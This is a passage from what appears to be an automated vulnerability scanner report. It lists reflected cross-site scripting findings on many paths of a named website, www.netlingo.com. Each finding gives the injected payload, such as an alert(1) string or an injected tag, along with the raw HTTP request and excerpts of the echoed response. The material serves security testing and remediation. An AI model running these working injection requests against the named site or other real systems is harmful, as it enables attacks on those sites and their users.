The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf4cf"-alert(1)-"bdab9c4d654 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/index.php?cf4cf"-alert(1)-"bdab9c4d654=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35165
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/index.php?cf4cf"-alert(1)-"bdab9c4d654=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1303. http://www.netlingo.com/tools/online-store.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/online-store.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba509"-alert(1)-"fd72fdd2008 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/online-store.php?ba509"-alert(1)-"fd72fdd2008=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 31833
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/online-store.php?ba509"-alert(1)-"fd72fdd2008=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1304. http://www.netlingo.com/tools/pocket-dictionary.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/pocket-dictionary.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db5a1"-alert(1)-"ae07cad321d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/pocket-dictionary.php?db5a1"-alert(1)-"ae07cad321d=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34982
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... etlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/pocket-dictionary.php?db5a1"-alert(1)-"ae07cad321d=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1305. http://www.netlingo.com/tools/search-browse-box.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/search-browse-box.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9dfb8"-alert(1)-"ec101ac6a81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/search-browse-box.php?9dfb8"-alert(1)-"ec101ac6a81=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 39741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... etlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/search-browse-box.php?9dfb8"-alert(1)-"ec101ac6a81=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1306. http://www.netlingo.com/tools/toolbar.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/toolbar.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1a8c"-alert(1)-"a5093f4aeaf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/toolbar.php?f1a8c"-alert(1)-"a5093f4aeaf=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33849
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... tp://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/toolbar.php?f1a8c"-alert(1)-"a5093f4aeaf=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1307. http://www.netlingo.com/tools/widget.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/tools/widget.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8e65"-alert(1)-"26a6782f73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tools/widget.php?b8e65"-alert(1)-"26a6782f73=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34401
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ttp://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/tools/widget.php?b8e65"-alert(1)-"26a6782f73=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1308. http://www.netlingo.com/tools/wotd.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/tools/wotd.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 294d6"><a>ffde4f89edb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /tools/wotd.php?294d6"><a>ffde4f89edb=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:21 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41295
4.1309. http://www.netlingo.com/top50/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/top50/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e98e"-alert(1)-"4500bc2d8fd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /top50/index.php?9e98e"-alert(1)-"4500bc2d8fd=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37445
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/top50/index.php?9e98e"-alert(1)-"4500bc2d8fd=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1310. http://www.netlingo.com/word-of-the-day/aotd.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word-of-the-day/aotd.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc897"><a>4481ee578ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word-of-the-day/aotd.php?dc897"><a>4481ee578ce=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:24 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42366
4.1311. http://www.netlingo.com/word-of-the-day/business.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word-of-the-day/business.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da361"><a>4822f8fb4db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word-of-the-day/business.php?da361"><a>4822f8fb4db=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40825
4.1312. http://www.netlingo.com/word-of-the-day/feeds.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/word-of-the-day/feeds.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a84cb"-alert(1)-"1c9aec7a4f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /word-of-the-day/feeds.php?a84cb"-alert(1)-"1c9aec7a4f3=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:21 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... .netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/word-of-the-day/feeds.php?a84cb"-alert(1)-"1c9aec7a4f3=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1313. http://www.netlingo.com/word-of-the-day/jargon.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word-of-the-day/jargon.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5788f"><a>9028b8a2949 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word-of-the-day/jargon.php?5788f"><a>9028b8a2949=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41305
4.1314. http://www.netlingo.com/word-of-the-day/technical.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word-of-the-day/technical.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a02d3"><a>c8347305e25 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word-of-the-day/technical.php?a02d3"><a>c8347305e25=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:46:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41402
4.1315. http://www.netlingo.com/word/53x.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/53x.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21222"><a>ee8a5baf684 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/53x.php?21222"><a>ee8a5baf684=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42062
4.1316. http://www.netlingo.com/word/aor.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/aor.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8757c"><a>7ac90e61106 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/aor.php?8757c"><a>7ac90e61106=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41647
4.1317. http://www.netlingo.com/word/buff.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/buff.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 118a7"><a>8fa8edf173 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/buff.php?118a7"><a>8fa8edf173=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42026
4.1318. http://www.netlingo.com/word/cu46.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/cu46.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48a81"><a>07614ba167d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/cu46.php?48a81"><a>07614ba167d=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:13 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42066
4.1319. http://www.netlingo.com/word/dead-cell-phones.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/dead-cell-phones.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b65a"><a>f95e8cbe207 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/dead-cell-phones.php?5b65a"><a>f95e8cbe207=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41424
4.1320. http://www.netlingo.com/word/dead-computers.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/dead-computers.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19a93"><a>65d9049a388 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/dead-computers.php?19a93"><a>65d9049a388=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:57:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41439
4.1321. http://www.netlingo.com/word/digitally-grounded.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/digitally-grounded.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2eed"><a>df9967afe66 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/digitally-grounded.php?c2eed"><a>df9967afe66=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:41 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41956
4.1322. http://www.netlingo.com/word/do-not-track.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/do-not-track.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37078"><a>2381b013eb9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/do-not-track.php?37078"><a>2381b013eb9=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:29 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42165
4.1323. http://www.netlingo.com/word/elancers.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/elancers.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cb70"><a>b5d222c3b41 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/elancers.php?7cb70"><a>b5d222c3b41=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:31 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40394
4.1324. http://www.netlingo.com/word/fingerprint.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/fingerprint.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 161dc"><a>6bdb1163c15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /word/fingerprint.php?161dc"><a>6bdb1163c15=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:58:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 43899
4.1325. http://www.netlingo.com/word/gadget.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.netlingo.com
Path:
/word/gadget.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58e51"><a>522c4e127ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
